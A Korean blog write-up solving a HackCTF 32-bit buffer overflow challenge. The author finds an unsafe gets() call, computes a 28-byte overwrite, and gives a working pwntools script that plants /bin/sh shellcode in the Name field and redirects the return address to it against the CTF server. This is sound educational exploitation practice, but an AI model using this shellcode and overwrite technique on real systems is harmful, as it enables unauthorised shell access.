문제 종류 - HackCTF
사용한 툴 - IDA
nc ctf.j0n9hyun.xyz 3003
풀이
나는 FSB가 더 어려웠는데 이게 150점이네?
먼저 IDA로 파일을 열어보자.
이번에는 특별한 함수 없이 main 함수만 존재한다.
Name과 input을 입력받는 프로그램인 듯하다. gdb로 열어보도록 하자.
gets는 버퍼 오버플로우를 유발시키기 정말 좋은 함수다.
총 20칸의 버퍼를 생성하니까, buf[20] + SFP[4] + RET[4] 총 28byte의 페이로드를 작성하면 될 듯하다.
이번 문제에서는 따로 쉘을 열어주는 함수가 없으니 쉘코드를 Name에 적어주고, RET를 Name의 시작 주소로 덮어버리면 쉘이 툭 하고 튀어 나오지 않을까..? 쉘코드는 구글링하면 나오지만, 그냥 여기다가도 적어두겠다.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
페이로드의 buf 부분은 A, SFP 부분은 B로 표시하였다.
1 from pwn import *
2
3 p = remote('ctf.j0n9hyun.xyz',3003)
4
5 payload = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'
6 address = 'A'*20 + 'B'*4 + '\x60\xa0\x04\x08'
7
8 p.recvuntil('Name : ')
9 p.sendline(payload)
10 p.recvuntil('input : ')
11 p.sendline(address)
12
13 p.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] x64 Simple_size_BOF 풀이 (150p) (0) | 2020.07.15 |
---|---|
[HackCTF] x64 Buffer Overflow 풀이 (150p) (0) | 2020.07.15 |
[HackCTF] 달라란 침공 풀이 (150p) (0) | 2020.07.14 |
[HackCTF] Basic FSB 풀이 (100p) (0) | 2020.07.14 |
[HackCTF] Basic_BOF #2 풀이 (100p) (0) | 2020.07.14 |